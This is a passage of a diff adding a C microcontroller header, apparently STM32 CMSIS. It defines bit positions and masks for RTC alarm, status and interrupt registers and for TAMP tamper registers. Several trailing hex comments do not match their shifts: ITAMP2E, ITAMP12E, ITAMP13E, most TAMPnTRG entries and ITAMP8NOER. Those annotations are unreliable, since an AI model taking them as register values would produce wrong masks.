RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15UL) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16UL) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20UL) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22UL) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23UL) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24UL) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28UL) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30UL) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31UL) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0UL) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24UL) +#define RTC_ALRMBSSR_MASKSS_Msk (0xFUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 (0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31UL) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0UL) +#define RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1UL) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2UL) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3UL) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define RTC_SR_TSOVF_Pos (4UL) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5UL) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6UL) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0UL) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1UL) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2UL) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3UL) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4UL) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5UL) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6UL) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SMISR register *****************/ +#define RTC_SMISR_ALRAMF_Pos (0UL) +#define RTC_SMISR_ALRAMF_Msk (0x1UL << RTC_SMISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_SMISR_ALRAMF RTC_SMISR_ALRAMF_Msk +#define RTC_SMISR_ALRBMF_Pos (1UL) +#define RTC_SMISR_ALRBMF_Msk (0x1UL << RTC_SMISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_SMISR_ALRBMF RTC_SMISR_ALRBMF_Msk +#define RTC_SMISR_WUTMF_Pos (2UL) +#define RTC_SMISR_WUTMF_Msk (0x1UL << RTC_SMISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_SMISR_WUTMF RTC_SMISR_WUTMF_Msk +#define RTC_SMISR_TSMF_Pos (3UL) +#define RTC_SMISR_TSMF_Msk (0x1UL << RTC_SMISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_SMISR_TSMF RTC_SMISR_TSMF_Msk +#define RTC_SMISR_TSOVMF_Pos (4UL) +#define RTC_SMISR_TSOVMF_Msk (0x1UL << RTC_SMISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_SMISR_TSOVMF RTC_SMISR_TSOVMF_Msk +#define RTC_SMISR_ITSMF_Pos (5UL) +#define RTC_SMISR_ITSMF_Msk (0x1UL << RTC_SMISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_SMISR_ITSMF RTC_SMISR_ITSMF_Msk +#define RTC_SMISR_SSRUMF_Pos (6UL) +#define RTC_SMISR_SSRUMF_Msk (0x1UL << RTC_SMISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_SMISR_SSRUMF RTC_SMISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0UL) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1UL) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2UL) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3UL) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4UL) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5UL) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6UL) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0UL) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0UL) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0UL) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1UL) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_TAMP3E_Pos (2UL) +#define TAMP_CR1_TAMP3E_Msk (0x1UL << TAMP_CR1_TAMP3E_Pos) /*!< 0x00000004 */ +#define TAMP_CR1_TAMP3E TAMP_CR1_TAMP3E_Msk +#define TAMP_CR1_TAMP4E_Pos (3UL) +#define TAMP_CR1_TAMP4E_Msk (0x1UL << TAMP_CR1_TAMP4E_Pos) /*!< 0x00000008 */ +#define TAMP_CR1_TAMP4E TAMP_CR1_TAMP4E_Msk +#define TAMP_CR1_TAMP5E_Pos (4UL) +#define TAMP_CR1_TAMP5E_Msk (0x1UL << TAMP_CR1_TAMP5E_Pos) /*!< 0x00000010 */ +#define TAMP_CR1_TAMP5E TAMP_CR1_TAMP5E_Msk +#define TAMP_CR1_TAMP6E_Pos (5UL) +#define TAMP_CR1_TAMP6E_Msk (0x1UL << TAMP_CR1_TAMP6E_Pos) /*!< 0x00000020 */ +#define TAMP_CR1_TAMP6E TAMP_CR1_TAMP6E_Msk +#define TAMP_CR1_TAMP7E_Pos (6UL) +#define TAMP_CR1_TAMP7E_Msk (0x1UL << TAMP_CR1_TAMP7E_Pos) /*!< 0x00000040 */ +#define TAMP_CR1_TAMP7E TAMP_CR1_TAMP7E_Msk +#define TAMP_CR1_TAMP8E_Pos (7UL) +#define TAMP_CR1_TAMP8E_Msk (0x1UL << TAMP_CR1_TAMP8E_Pos) /*!< 0x00000080 */ +#define TAMP_CR1_TAMP8E TAMP_CR1_TAMP8E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16UL) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17UL) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18UL) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20UL) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21UL) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22UL) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23UL) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24UL) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26UL) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27UL) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP12E TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28UL) +#define TAMP_CR1_ITAMP13E_Msk (0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0UL) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1UL) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP3NOERASE_Pos (2UL) +#define TAMP_CR2_TAMP3NOERASE_Msk (0x1UL << TAMP_CR2_TAMP3NOERASE_Pos) /*!< 0x00000004 */ +#define TAMP_CR2_TAMP3NOERASE TAMP_CR2_TAMP3NOERASE_Msk +#define TAMP_CR2_TAMP4NOERASE_Pos (3UL) +#define TAMP_CR2_TAMP4NOERASE_Msk (0x1UL << TAMP_CR2_TAMP4NOERASE_Pos) /*!< 0x00000008 */ +#define TAMP_CR2_TAMP4NOERASE TAMP_CR2_TAMP4NOERASE_Msk +#define TAMP_CR2_TAMP5NOERASE_Pos (4UL) +#define TAMP_CR2_TAMP5NOERASE_Msk (0x1UL << TAMP_CR2_TAMP5NOERASE_Pos) /*!< 0x00000010 */ +#define TAMP_CR2_TAMP5NOERASE TAMP_CR2_TAMP5NOERASE_Msk +#define TAMP_CR2_TAMP6NOERASE_Pos (5UL) +#define TAMP_CR2_TAMP6NOERASE_Msk (0x1UL << TAMP_CR2_TAMP6NOERASE_Pos) /*!< 0x00000020 */ +#define TAMP_CR2_TAMP6NOERASE TAMP_CR2_TAMP6NOERASE_Msk +#define TAMP_CR2_TAMP7NOERASE_Pos (6UL) +#define TAMP_CR2_TAMP7NOERASE_Msk (0x1UL << TAMP_CR2_TAMP7NOERASE_Pos) /*!< 0x00000040 */ +#define TAMP_CR2_TAMP7NOERASE TAMP_CR2_TAMP7NOERASE_Msk +#define TAMP_CR2_TAMP8NOERASE_Pos (7UL) +#define TAMP_CR2_TAMP8NOERASE_Msk (0x1UL << TAMP_CR2_TAMP8NOERASE_Pos) /*!< 0x00000080 */ +#define TAMP_CR2_TAMP8NOERASE TAMP_CR2_TAMP8NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16UL) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17UL) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_TAMP3MSK_Pos (18UL) +#define TAMP_CR2_TAMP3MSK_Msk (0x1UL << TAMP_CR2_TAMP3MSK_Pos) /*!< 0x00040000 */ +#define TAMP_CR2_TAMP3MSK TAMP_CR2_TAMP3MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22UL) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23UL) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24UL) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25UL) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk +#define TAMP_CR2_TAMP3TRG_Pos (26UL) +#define TAMP_CR2_TAMP3TRG_Msk (0x1UL << TAMP_CR2_TAMP3TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP3TRG TAMP_CR2_TAMP3TRG_Msk +#define TAMP_CR2_TAMP4TRG_Pos (27UL) +#define TAMP_CR2_TAMP4TRG_Msk (0x1UL << TAMP_CR2_TAMP4TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP4TRG TAMP_CR2_TAMP4TRG_Msk +#define TAMP_CR2_TAMP5TRG_Pos (28UL) +#define TAMP_CR2_TAMP5TRG_Msk (0x1UL << TAMP_CR2_TAMP5TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP5TRG TAMP_CR2_TAMP5TRG_Msk +#define TAMP_CR2_TAMP6TRG_Pos (29UL) +#define TAMP_CR2_TAMP6TRG_Msk (0x1UL << TAMP_CR2_TAMP6TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP6TRG TAMP_CR2_TAMP6TRG_Msk +#define TAMP_CR2_TAMP7TRG_Pos (30UL) +#define TAMP_CR2_TAMP7TRG_Msk (0x1UL << TAMP_CR2_TAMP7TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP7TRG TAMP_CR2_TAMP7TRG_Msk +#define TAMP_CR2_TAMP8TRG_Pos (31UL) +#define TAMP_CR2_TAMP8TRG_Msk (0x1UL << TAMP_CR2_TAMP8TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP8TRG TAMP_CR2_TAMP8TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0UL) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1UL) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2UL) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4UL) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5UL) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6UL) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7UL) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8UL) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10UL) +#define TAMP_CR3_ITAMP11NOER_Msk (0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11UL) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12UL) +#define TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0UL) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3UL) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define TAMP_FLTCR_TAMPPRCH_Pos (5UL) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7UL) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0UL) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1UL) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_TAMP3AM_Pos (2UL) +#define TAMP_ATCR1_TAMP3AM_Msk (0x1UL << TAMP_ATCR1_TAMP3AM_Pos) /*!< 0x00000004 */ +#define TAMP_ATCR1_TAMP3AM 